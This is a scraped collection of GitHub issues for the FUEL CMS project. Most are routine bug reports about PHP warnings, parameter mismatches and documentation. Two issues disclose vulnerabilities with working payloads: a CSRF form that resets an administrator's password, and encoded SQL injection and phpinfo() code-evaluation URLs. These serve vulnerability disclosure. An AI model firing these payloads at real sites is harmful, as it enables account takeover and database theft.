https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/522/comments
1
2019-01-10T08:56:20Z
2019-03-27T01:42:06Z
https://github.com/daylightstudio/FUEL-CMS/issues/522
397,729,533
522
[ "daylightstudio", "FUEL-CMS" ]
I created a simple Event Module (code below) and want to limit posts to a specific user. When I create a post the DB throws this error: --- **Unknown column 'fuel_users.id' in 'where clause'** (Formatted SQL:) ```sql SELECT `events`.*, YEAR(events.start_date) AS YEAR, DATE_FORMAT(events.start_date, "%m") AS MONTH, DATE_FORMAT(events.start_date, "%d") AS DAY, events.*, fuel_categories.slug AS category_slug, fuel_categories.id AS category_id FROM `events` LEFT JOIN `fuel_users` AS `fuser` ON `fuser`.`id` = `events`.`user_id` LEFT JOIN `fuel_relationships` ON `fuel_relationships`.`candidate_key` = `events`.`id` AND `fuel_relationships`.`candidate_table` = "events" AND `fuel_relationships`.`foreign_table` = "fuel_tags" LEFT JOIN `fuel_tags` ON `fuel_tags`.`id` = `fuel_relationships`.`foreign_key` LEFT JOIN `fuel_categories` ON `fuel_categories`.`id` = `events`.`category_id` WHERE `fuel_user`.`id` = `events`.`user_id` AND `fuser`.`id` = 4 GROUP BY `events`.`id` ORDER BY `start_date` ASC LIMIT 1 ``` Filename: app/fuel/modules/fuel/core/MY_Model.php Line Number: 480 --- I traced the error back to these two functions: `protected function _limit_to_user()` and `protected function _editable_by_user()` https://github.com/daylightstudio/FUEL-CMS/blob/a8d721797b538b8a36899a0359af72cbc5de0c15/fuel/modules/fuel/models/Base_module_model.php#L1516 `_limit_to_user()` joins the alias `fuser` for the `fuel_user` table and in `_editable_by_user()` the WHERE statement references the plain `fuel_user` table. If I write this line https://github.com/daylightstudio/FUEL-CMS/blob/a8d721797b538b8a36899a0359af72cbc5de0c15/fuel/modules/fuel/models/Base_module_model.php#L1537 with the alias it works: ``` $rec = $this->find_one_array('fuser.id = '.$this->limit_to_user_field); ``` But I bet it will have some side effects. Any idea how to fix this? My (minimal) model: ```php <?php use Spatie\SchemaOrg\Schema; if (!defined('BASEPATH')) exit('No direct script access allowed'); require_once(FUEL_PATH.'models/Base_posts_model.php'); class Events_model extends Base_posts_model { public $foreign_keys = array( 'category_id' => array( FUEL_FOLDER => 'fuel_categories_model', 'where' => ['context' => 'events'] ), 'user_id' => [ FUEL_FOLDER => 'fuel_users_model'], ); public $display_unpublished_if_logged_in = TRUE; public $limit_to_user_field = 'events.user_id'; public function __construct() { parent::__construct('events'); // table name } public function _common_query($display_unpublished_if_logged_in = NULL) { parent::_common_query($display_unpublished_if_logged_in); } } ```
Posting as Specific User with limit_to_user_field Fails
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/521/comments
0
2019-01-05T18:33:04Z
2019-03-27T01:42:24Z
https://github.com/daylightstudio/FUEL-CMS/issues/521
396,189,001
521
[ "daylightstudio", "FUEL-CMS" ]
On a fresh 1.4 install on PHP 7.2 using the develop branch, on any admin area that has the "Tree" view -- receiving the following PHP Warning -- Message: count(): Parameter must be an array or an object that implements Countable | Filename: libraries/Menu.php | Line Number: 450 You can reproduce by simply going to the "Permissions" menu item (/fuel/permissions) and clicking "Tree" from the view layout options. Can also be reproduced in any of the menu items in the admin that support the "Tree" view (Pages, etc). If there are no items (like there are no pages on a fresh install) then obviously there are no errors.
PHP 7.2 Warning for count() in libraries/Menu.php
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/519/comments
3
2018-11-20T18:06:12Z
2019-01-23T23:40:32Z
https://github.com/daylightstudio/FUEL-CMS/issues/519
382,786,413
519
[ "daylightstudio", "FUEL-CMS" ]
I might be wrong but the two calls to `add` in `\Fuel_redirects::redirects` seem a bit suspicious: ```php if (isset($config['passive_redirects']) AND $only_passive) { // merge variable $redirects with passive redirects for compatibility with older version $this->add($config['passive_redirects'], TRUE); return $this->passive_redirects; } else if (isset($config['aggressive_redirects']) AND !$only_passive) { $this->add($config['aggressive_redirects'], FALSE); return $this->aggressive_redirects; } ``` As you can see there are two arguments passed to `$this->add()`, an array from the configuration, and a Boolean. However, the method `add` accepts 3 arguments: ```php public function add($uri, $redirect = '', $passive = TRUE) ``` Looks like the `TRUE` and `FALSE` flags fit into the `$passive` argument. Meaning the arguments are supplied in incorrect order.
Suspicious calls to \Fuel_redirects::add
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/513/comments
4
2018-10-02T23:01:09Z
2018-10-02T23:28:06Z
https://github.com/daylightstudio/FUEL-CMS/issues/513
366,112,249
513
[ "daylightstudio", "FUEL-CMS" ]
Method `\Fuel_posts::vars_tag` calls `get_tag_posts` with 4 arguments: ```php $posts = $this->get_tag_posts($slug, $order_by, $limit, $offset); ``` However, `get_tag_posts` does not seem to take `order_by` as an argument!
Parameter count mismatch in \Fuel_posts::vars_tag
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/509/comments
0
2018-10-02T21:56:55Z
2018-10-06T02:03:19Z
https://github.com/daylightstudio/FUEL-CMS/issues/509
366,095,853
509
[ "daylightstudio", "FUEL-CMS" ]
`\Module::inline_items` calls method `items`: ```php function inline_items() { $this->items(TRUE); } ``` However, the method `items` takes no arguments. Not sure if there should be a Boolean parameter in `items` or if the `TRUE` should be deleted.
Parameter count mismatch in Module.php
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/508/comments
0
2018-10-02T21:54:46Z
2018-10-06T02:02:31Z
https://github.com/daylightstudio/FUEL-CMS/issues/508
366,095,226
508
[ "daylightstudio", "FUEL-CMS" ]
```js // for inline editing on the front end we just refresh the page } else if (top.window != window){ top.window.location = top.window.location; } ``` Is this intentional? It looks like the assignment statement accomplishes nothing.
Variable assigned to itself in module_close_modal.php
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/506/comments
3
2018-10-02T00:52:21Z
2018-10-02T08:38:52Z
https://github.com/daylightstudio/FUEL-CMS/issues/506
365,697,695
506
[ "daylightstudio", "FUEL-CMS" ]
I have submitted fixes for a number of issues with links in documentation in https://github.com/daylightstudio/FUEL-CMS/pull/502. However, there are a few more that I'm not as sure how to tackle so I'm just leaving information here :-) * `fuel/application/views/_docs/index.php`: The ID "permissions" is used in two places in this file, however there's no such section. The "Users" and "Permissions" sections were fused into one section "Users & Permissions". So maybe alter the two lists under "Core Modules" and make the IDs point to "users"? * `fuel/modules/fuel/views/_docs/general/models.php`: ID "table_result_record" does not exist. Should it be "table_result_record_field"?
Incorrect HTML IDs in documentation files
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/503/comments
1
2018-10-01T21:27:03Z
2018-10-01T22:57:31Z
https://github.com/daylightstudio/FUEL-CMS/issues/503
365,650,285
503
[ "daylightstudio", "FUEL-CMS" ]
```php if ($truncate_to_asset_folder) { if (strncmp($assets_path, '/', 1) === 0) $asset_path = substr($assets_path, 1); // to remove beginning slash return $assets_path; } ``` Note the truncated string is assigned to variable `$asset_path` and not `$assets_path`.
assets_server_to_web_path function's $truncate_to_asset_folder argument does nothing
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/500/comments
0
2018-09-27T19:41:56Z
2019-06-06T23:21:41Z
https://github.com/daylightstudio/FUEL-CMS/issues/500
364,625,327
500
[ "daylightstudio", "FUEL-CMS" ]
Add multiple modules at once via the CLI: `php index.php fuel/generate/advanced a:b:c` **Expected:** All modules to be added to the 'modules_allowed' config: ```php $config['modules_allowed'] = array( // previous ... 'a', 'b', 'c' ); ``` **Actual:** Only the last module is added: ```php $config['modules_allowed'] = array( // previous ... 'c' ); ```
Only last advanced module added to 'modules_allowed' array in \Generate::advanced
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/496/comments
3
2018-09-09T13:11:59Z
2019-06-06T23:21:59Z
https://github.com/daylightstudio/FUEL-CMS/issues/496
358,377,483
496
[ "daylightstudio", "FUEL-CMS" ]
```php /** * Displays friendly text for what is being filtered on the list view * * @access public * @param array The values applied to the filters * @return string The friendly text string */ public function friendly_info($values) { $this->set_values($values); } ``` The function's PhpDoc says it returns a `string` yet there's no `return` statement. Worth fixing as other methods expect a value from it, e.g. \Base_module_model::friendly_filter_info: ```php public function friendly_filter_info($values) { if (!empty($this->list_items)) { $str = $this->list_items->friendly_info($values); if (!is_null($str)) { return $str; } } // ... } ``` The `friendly_filter_info` function would immediately return if it actually received the value. Instead it continues on.
\Base_model_list_items::friendly_info does not return a value
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/493/comments
1
2018-09-06T20:11:27Z
2019-06-06T23:21:03Z
https://github.com/daylightstudio/FUEL-CMS/issues/493
357,808,389
493
[ "daylightstudio", "FUEL-CMS" ]
The Data_table class introduces several globals (yuck!) to avoid PHP 5.3 function syntax: ```php // hacky but avoids 5.3 function syntax (which is nicer but doesn't work with 5.2) $GLOBALS['__tmp_transient_columns__'] = $columns; $action = preg_replace_callback('#^(.*)\{(.+)\}(.*)$#', $callback, $action); $fields[] = new Data_table_field($key, $val, array(), $action); ``` There are 4 uses of `__tmp_transient_columns__`. We can probably get rid of them all now that the minimum PHP version is 5.4.0.
Remove __tmp_transient_columns__ from Data_table
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/492/comments
0
2018-09-04T22:38:02Z
2018-09-05T12:36:45Z
https://github.com/daylightstudio/FUEL-CMS/issues/492
357,001,271
492
[ "daylightstudio", "FUEL-CMS" ]
Excerpt from `configs-settings`: ```html <li><strong>mimes:</strong> the <a href="https://www.codeigniter.com/user_guide/libraries/migration.html" target="_blank">CodeIgniter mimes</a> configuration used by such classes ``` Should it point to the migration help page? Seems like it should instead point to: https://www.codeigniter.com/userguide3/helpers/file_helper.html#get_mime_by_extension
User guide: configs-settings.php contains incorrect link to CI mimes page
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/485/comments
1
2018-08-29T23:27:35Z
2018-08-29T23:47:36Z
https://github.com/daylightstudio/FUEL-CMS/issues/485
355,369,403
485
[ "daylightstudio", "FUEL-CMS" ]
Cross-site request forgery (CSRF) vulnerability in "http://127.0.0.1/fuel/my_profile/edit?inline=" in FUELCMS 1.4 allows remote attackers to hijack the authentication of unspecified users for requests that change administrator's password Author:xichaokm poc: ``` <span style="font-size:18px;"><!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>CSRF</title> </head> <form action="http://127.0.0.1/fuel/my_profile/edit?inline=" method="POST"> <input type="hidden" name="user_name" value="hacker"><!--admin's name--> <input type="hidden" name="email" value="test@mail.com"><!--admin's email-->   <input type="hidden" name="first_name" value="admin">   <input type="hidden" name="last_name" value="admin">   <input type="hidden" name="new_password" value="xichao"><!--admin's password-->   <input type="hidden" name="confirm_password" value="xichao"><!--admin's password-->   <input type="hidden" name="Save" value="Save">   <input type="hidden" name="language" value="english">   <input type="hidden" name="fuel_inline" value="0"> <button type="submit" value="Submit">GO</button> </form> </body> </html></span> ```
Cross-site request forgery (CSRF) vulnerability
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/481/comments
4
2018-08-27T23:57:21Z
2020-01-16T14:55:05Z
https://github.com/daylightstudio/FUEL-CMS/issues/481
354,519,891
481
[ "daylightstudio", "FUEL-CMS" ]
I couldn't filter unicode strings in the backend. Maybe it's better to use `mb_strtolower()` instead to the non multi bye version `app\fuel\modules\fuel\models\Base_module_model.php:455` ```php array_push($$joiner_arr, 'LOWER('.$key.') LIKE \'%'.mb_strtolower($val).'%\''); ```
Filter UTF8 Strings
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/479/comments
0
2018-07-30T19:54:35Z
2018-07-30T19:54:35Z
https://github.com/daylightstudio/FUEL-CMS/issues/479
345,910,516
479
[ "daylightstudio", "FUEL-CMS" ]
# Vulnerability - Code Evaluations & SQL Injections ## Environment - **Version**: <=1.4.2 - **OS**: Unix, Windows - **Web server**: Any web server - **PHP**: <=7.2 - **Database**: Any database ## Vulnerability Tree 1. SQL Injection 1.1. /fuel/pages/items (GET = search_term) 1.2. /fuel/pages/items (GET = layout) 1.3. /fuel/pages/items (GET = published) 2. Code Evaluation 2.1. /fuel/pages/select/ (GET = filter) 2.2. /fuel/preview (POST = data) ### 1.1. SQL Injection in /fuel/pages/items (GET = search_term) URL: http://{domain}/{fuelcms_path}/fuel/pages/items?search_term=-1%22%20and%206%3d3%20or%201%3d1%2b(SELECT%201%20and%20ROW(1%2c1)%3e(SELECT%20COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.COLLATIONS%20GROUP%20BY%20x)a)%2b%22&layout=&search=Search&view_type=list&offset=3&order=asc&col=location&fuel_inline=3&published=yes&limit=50 Parameter Name: search_term Parameter Type: GET Attack Pattern: -1%22+and+6%3d3+or+1%3d1%2b(SELECT+1+and+ROW(1%2c1)%3e(SELECT+COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)%2b%22 ### 1.2. SQL Injection in /fuel/pages/items (GET = layout) URL: http://{domain}/{fuelcms_path}/fuel/pages/items?search_term=&layout=-1%22%20and%206%3d3%20or%201%3d1%2b(SELECT%201%20and%20ROW(1%2c1)%3e(SELECT%20COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.COLLATIONS%20GROUP%20BY%20x)a)%2b%22&search=Search&view_type=list&offset=3&order=asc&col=location&fuel_inline=3&published=yes&limit=50 Parameter Name: layout Parameter Type: GET Attack Pattern: -1%22+and+6%3d3+or+1%3d1%2b(SELECT+1+and+ROW(1%2c1)%3e(SELECT+COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)%2b%22 ### 1.3. SQL Injection in /fuel/pages/items (GET = published) URL: http://{domain}/{fuelcms_path}/fuel/pages/items?search_term=&layout=&search=Search&view_type=list&offset=3&order=asc&col=location&fuel_inline=3&published=-1%22%20and%206%3d3%20or%201%3d1%2b(SELECT%201%20and%20ROW(1%2c1)%3e(SELECT%20COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.COLLATIONS%20GROUP%20BY%20x)a)%2b%22&limit=50 Parameter Name: published Parameter Type: GET Attack Pattern: -1%22+and+6%3d3+or+1%3d1%2b(SELECT+1+and+ROW(1%2c1)%3e(SELECT+COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)%2b%22 ### 2.1. Code Evaluation in /fuel/pages/select/ (GET = filter) URL: http://{domain}/{fuelcms_path}/fuel/pages/select/?nocache=1507880376191&input=&target=&title=&class=&pdfs=&filter=%27%2b phpinfo() %2b%27 Parameter Name: filter Parameter Type: GET Attack Pattern: %27%2b phpinfo() %2b%27 ### 2.2. Code Evaluation in /fuel/preview (POST = data) URL: http://{domain}/{fuelcms_path}/fuel/preview?module=pages&field=vars--body Parameter Name: data Parameter Type: POST Attack Pattern: %27%2b phpinfo() %2b%27
Vulnerability - Code Evaluations & SQL Injections
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/478/comments
5
2018-07-09T13:26:39Z
2019-11-15T22:30:37Z
https://github.com/daylightstudio/FUEL-CMS/issues/478
339,448,802
478
[ "daylightstudio", "FUEL-CMS" ]
I can't find the place where `public $assets_last_updated` ever gets the real file modification time. Therefore the param xxx.js?c= never has an value. Why is that? I need the cache busting param, but not the fuel cms caching. But even there, it is not working: `$cache_file_name = $cache_file_name_md5.'_'.strtotime($this->assets_last_updated).'.'.$ext;` results in `"/assets/cache/31da0f767fa48d924f5aa376b0c3d70a_.js"` Any idea?
Asset Cachebusting/Timestamp
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/477/comments
2
2018-07-08T09:57:23Z
2018-07-11T13:57:42Z
https://github.com/daylightstudio/FUEL-CMS/issues/477
339,213,111
477
[ "daylightstudio", "FUEL-CMS" ]
If `$config['composer_autoload'] = TRUE;` expects `autoload.php` in `application/vendor/`, why is composer.json outside of said /application folder? Now I have to set `$config['composer_autoload'] = APPPATH. '/../vendor/autoload.php';` explicitly.
location of composer.json
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/476/comments
1
2018-07-06T10:46:31Z
2018-08-07T09:58:12Z
https://github.com/daylightstudio/FUEL-CMS/issues/476
338,893,532
476
[ "daylightstudio", "FUEL-CMS" ]
https://github.com/daylightstudio/FUEL-CMS/blob/b24104b1152601e0c2f834b87c36e954e90912e8/fuel/modules/fuel/views/_blocks/module_create_edit_actions.php#L53 `fuel_url`'s second param is $query_string, when it is true, $url contains user's query string. May cause a reflected XSS.
Wrong fuel_url param
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/475/comments
0
2018-06-22T10:34:26Z
2018-06-22T10:34:26Z
https://github.com/daylightstudio/FUEL-CMS/issues/475
334,829,875
475
[ "daylightstudio", "FUEL-CMS" ]
This json_decode will cause code injection. Such as `json_decode("1;echo 1;"))` https://github.com/daylightstudio/FUEL-CMS/blob/b24104b1152601e0c2f834b87c36e954e90912e8/fuel/modules/fuel/helpers/compatibility_helper.php#L44 Here json_decode data from COOKIE: https://github.com/daylightstudio/FUEL-CMS/blob/b24104b1152601e0c2f834b87c36e954e90912e8/fuel/modules/fuel/controllers/Module.php#L2173
json_decode is dangerous
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/474/comments
0
2018-06-22T09:54:51Z
2018-06-22T09:54:51Z
https://github.com/daylightstudio/FUEL-CMS/issues/474
334,817,760
474
[ "daylightstudio", "FUEL-CMS" ]
https://github.com/daylightstudio/FUEL-CMS/blob/b24104b1152601e0c2f834b87c36e954e90912e8/fuel/modules/fuel/libraries/Fuel_redirects.php#L290 Here, $config may come from POST Use a dirty data as $url. https://github.com/daylightstudio/FUEL-CMS/blob/b24104b1152601e0c2f834b87c36e954e90912e8/fuel/modules/fuel/libraries/Fuel_redirects.php#L607
Incorrect redirect
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/473/comments
1
2018-06-22T09:13:54Z
2018-06-22T09:15:55Z
https://github.com/daylightstudio/FUEL-CMS/issues/473
334,804,649
473
[ "daylightstudio", "FUEL-CMS" ]
https://github.com/daylightstudio/FUEL-CMS/blob/b24104b1152601e0c2f834b87c36e954e90912e8/fuel/modules/fuel/libraries/Fuel_redirects.php#L454
No 404 status code?
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/472/comments
1
2018-06-20T13:33:16Z
2019-03-27T01:49:25Z
https://github.com/daylightstudio/FUEL-CMS/issues/472
334,078,885
472
[ "daylightstudio", "FUEL-CMS" ]
Severity: Warning Message: chmod(): Permission denied Filename: helpers/MY_directory_helper.php Line Number: 107 should I have run this as a root?
Message: chmod(): Permission denied
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/470/comments
1
2018-05-30T08:19:48Z
2018-05-30T14:57:14Z
https://github.com/daylightstudio/FUEL-CMS/issues/470
327,622,737
470
[ "daylightstudio", "FUEL-CMS" ]
I am using FuelCMS 1.4.2. When I include property "required" in the field config, e.g. like this: `$fields['name'] = array('type' => '','required' => TRUE);` the Form Builder class does produce the asterix (*) after the form (or another character, as specified by the "required_indicator" property), but the asterix is not followed by a "required_text" string. Likewise, if I override the default "required_indicator" property, e.g. like this: `$this->form_builder->show_required = '<span class="required">{required_indicator}</span> these fields are super required'; ` the text does not appear in the form either.
required_text property of Form Builder Class does not generate a string in the form
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/468/comments
7
2018-04-02T16:53:06Z
2018-04-03T04:02:12Z
https://github.com/daylightstudio/FUEL-CMS/issues/468
310,538,346
468
[ "daylightstudio", "FUEL-CMS" ]
Hello I have an issue regarding using fuel cms blocks which I was going to post on forums but their mail is not working or I was not able to receive any confirmation email, due to this I am asking here. I am using a fuel block to render it in my page through cms and I saw that you can pass variables to it. But I cannot access them in my block, when I use `fuel_var` to access the value, it does not return or returns a default value if I provide it one. Please confirm how can I access the vars in my blocks? **In fuel cms** **page** `{fuel_block(array( 'view' => 'nt_project_card', 'vars' => array( 'project_title' => 'Test Project', 'project_desc' => 'Some details about project', 'project_link' => 'projects/project1' )))} ` **block** ` <img class="card-img-top" src="{fuel_var('img')}" alt="Project Image"> <div class="card-body"> <h5 class="card-title">{fuel_var('project_title', 'Title')}</h5> <p class="card-text">{fuel_var('project_desc')}</p> <a href="{site_url(fuel_var('project_link'))}" class="btn btn-link">Read More...</a> </div> `
fuel_vars not working in fuel blocks
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/467/comments
10
2018-04-01T21:21:23Z
2018-04-04T20:34:28Z
https://github.com/daylightstudio/FUEL-CMS/issues/467
310,355,042
467
[ "daylightstudio", "FUEL-CMS" ]
https://github.com/daylightstudio/FUEL-CMS/blob/58c0fc11f112628ef2c9f553cb5583bff0c2b866/fuel/modules/fuel/controllers/Pages.php#L1058 The `read_file` function is called (which is now deprecated, by the way!), but the result isn't used at all. Is it supposed to be used? Or can we skip reading the file entirely?
read_file result unused in Pages
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/463/comments
1
2018-03-26T02:06:58Z
2018-03-26T17:09:01Z
https://github.com/daylightstudio/FUEL-CMS/issues/463
308,411,255
463
[ "daylightstudio", "FUEL-CMS" ]
CI 3.1.8 was released a couple of days ago: https://www.codeigniter.com/userguide3/changelog.html#version-3-1-8
CodeIgniter 3.1.8
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/462/comments
1
2018-03-26T00:59:13Z
2018-08-22T19:16:02Z
https://github.com/daylightstudio/FUEL-CMS/issues/462
308,403,904
462
[ "daylightstudio", "FUEL-CMS" ]
The `compatibility_helper` file has a number of functions that provide functionality for people using old versions of PHP. FUEL CMS requires PHP 5.4+, which means all the functions in that file (except `str_putcsv`!) are already available out-of-the-box. IMO we should get rid of those functions. If I understand correctly for people with 5.4+ the `function_exists` checks would all return `FALSE` anyway, right? In which case it's pretty much dead code :-)
Compatibility helper serves little purpose given current server requirements
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/461/comments
1
2018-03-26T00:34:54Z
2018-03-26T17:03:32Z
https://github.com/daylightstudio/FUEL-CMS/issues/461
308,401,709
461
[ "daylightstudio", "FUEL-CMS" ]
To reproduce, call: ```php class Site extends CI_Controller { function index() { $this->fuel->blah(); } } ``` Error: ``` An uncaught Exception was encountered Type: Exception Message: (null) Filename: C:\wamp64\www\FUEL-CMS\fuel\modules\fuel\libraries\Fuel.php Line Number: 506 ``` Looks like `MY_language_helper` cannot find the key 'error_class_property_does_not_exist'.
'null' displayed instead of error message 'error_class_property_does_not_exist'
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/456/comments
9
2018-03-22T20:29:17Z
2018-03-24T01:13:57Z
https://github.com/daylightstudio/FUEL-CMS/issues/456
307,802,799
456
[ "daylightstudio", "FUEL-CMS" ]
https://github.com/daylightstudio/FUEL-CMS/blob/58c0fc11f112628ef2c9f553cb5583bff0c2b866/fuel/modules/fuel/helpers/MY_date_helper.php#L335 Couldn't find this function anywhere in FUEL CMS or in the PHP docs.
MY_date_helper calls non-existent function 'convert_date_to_array'
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/453/comments
2
2018-03-21T21:02:13Z
2018-03-24T08:38:03Z
https://github.com/daylightstudio/FUEL-CMS/issues/453
307,416,807
453
[ "daylightstudio", "FUEL-CMS" ]
Asset helper function: https://github.com/daylightstudio/FUEL-CMS/blob/58c0fc11f112628ef2c9f553cb5583bff0c2b866/fuel/modules/fuel/helpers/asset_helper.php#L190 Calls: https://github.com/daylightstudio/FUEL-CMS/blob/58c0fc11f112628ef2c9f553cb5583bff0c2b866/fuel/modules/fuel/libraries/Asset.php#L409 You can see that `$path` is not a parameter, yet it's supplied. This shifts all the params by one, meaning the values are nonsense. To invoke: ```php $this->load->helper('asset'); var_dump(cache_path('foo.txt', NULL, FALSE)); ```
asset_helper passes wrong parameters to Asset library
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/450/comments
0
2018-03-19T23:42:59Z
2018-03-19T23:58:39Z
https://github.com/daylightstudio/FUEL-CMS/issues/450
306,677,585
450
[ "daylightstudio", "FUEL-CMS" ]
I know this is a library and not FuelCMS code, but might still be worth fixing this: https://github.com/daylightstudio/FUEL-CMS/blob/58c0fc11f112628ef2c9f553cb5583bff0c2b866/fuel/modules/fuel/libraries/Curl.php#L603
Undefined variable 'params' in Curl::cookie
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/449/comments
1
2018-03-19T22:59:48Z
2018-03-19T23:08:01Z
https://github.com/daylightstudio/FUEL-CMS/issues/449
306,668,961
449
[ "daylightstudio", "FUEL-CMS" ]
Variable `file_info` doesn't seem to be defined in the method. https://github.com/daylightstudio/FUEL-CMS/blob/ba41590414018ceb01a3bb62276745918db3839d/fuel/modules/fuel/controllers/Blocks.php#L122
Undefined variable `file_info` in Blocks.php
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/448/comments
0
2018-03-19T22:47:16Z
2019-06-06T23:20:20Z
https://github.com/daylightstudio/FUEL-CMS/issues/448
306,665,788
448
[ "daylightstudio", "FUEL-CMS" ]
https://github.com/daylightstudio/FUEL-CMS/blob/58c0fc11f112628ef2c9f553cb5583bff0c2b866/fuel/modules/fuel/controllers/Assets.php#L18 https://github.com/daylightstudio/FUEL-CMS/blob/2507b66f48bcfd36ac35e8107bfb139432475e04/fuel/modules/fuel/libraries/Unzip.php#L287 https://github.com/daylightstudio/FUEL-CMS/blob/58c0fc11f112628ef2c9f553cb5583bff0c2b866/fuel/modules/fuel/models/Base_module_model.php#L957 https://github.com/daylightstudio/FUEL-CMS/blob/1f341a815b54e3444b9a0dee7daba1ebbea6957b/fuel/modules/fuel/core/MY_Model.php#L2948 Two are fixed by #446 but I didn't know what to do with the rest (whether to remove the parameters, or add them in).
Several methods are passed too many parameters
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/447/comments
0
2018-03-19T22:18:38Z
2018-03-19T22:36:11Z
https://github.com/daylightstudio/FUEL-CMS/issues/447
306,658,619
447
[ "daylightstudio", "FUEL-CMS" ]
See line: https://github.com/daylightstudio/FUEL-CMS/blob/develop/fuel/modules/fuel/libraries/Fuel_custom_fields.php#L1648 Looks like it should be appended to `$str`?
span tag not assigned to anything in Fuel_custom_fields
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/444/comments
3
2018-03-18T01:13:43Z
2018-03-18T17:16:01Z
https://github.com/daylightstudio/FUEL-CMS/issues/444
306,204,428
444
[ "daylightstudio", "FUEL-CMS" ]
For a few days at least
forum.getfuelcms.com is inaccessible
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/438/comments
5
2018-03-09T22:10:55Z
2018-03-12T03:29:30Z
https://github.com/daylightstudio/FUEL-CMS/issues/438
303,996,788
438
[ "daylightstudio", "FUEL-CMS" ]
Hi there, Good day and how are you? I hope this message finds you well. I am Joseph Buarao , who has been doing high quality Filipino and Tagalog translations for several projects. Consider this message as my letter of application. I am a web developer by profession and an experienced Filipino translator - these are on top of being an experienced web developer with more than 6 years of experience and specialized in the following scripting languages and technologies (HTML, CSS, JS, JQUERY, PHP, WORDPRESS and CONCRETE5). This means I know which codes are to be translated, and which ones that are to remain as it is. I am a strong advocate of thought-by-thought instead of word-by-word style of doing the translations, and I am carefully strict in grammars and spellings and proper word conjugations of my languages, Filipino and Tagalog. I hope to hear from you soon and work with you in the translations. You can count on me that I will do my job with utmost dedication. Thank you and more power to you. You can check my previous contributions: https://github.com/textpattern/textpattern/commit/29308ff0d524e0b647ebb609710fdcb8acaee574 https://crowdin.com/project/textpattern-cms-textpacks/fil Best Regards, Joseph Buarao
Do you need Filipino Translation for Fuel CMS?
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/436/comments
0
2018-03-01T14:16:35Z
2018-03-05T22:38:06Z
https://github.com/daylightstudio/FUEL-CMS/issues/436
301,419,919
436
[ "daylightstudio", "FUEL-CMS" ]
Hi guys, Somebody have any experience deploying a fuelCMS site to Heroku ? I have other open thread at the forum but without comments. Thanks!
Deploy to Heroku
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/435/comments
0
2018-02-09T19:24:26Z
2018-02-09T19:24:26Z
https://github.com/daylightstudio/FUEL-CMS/issues/435
295,983,926
435
[ "daylightstudio", "FUEL-CMS" ]
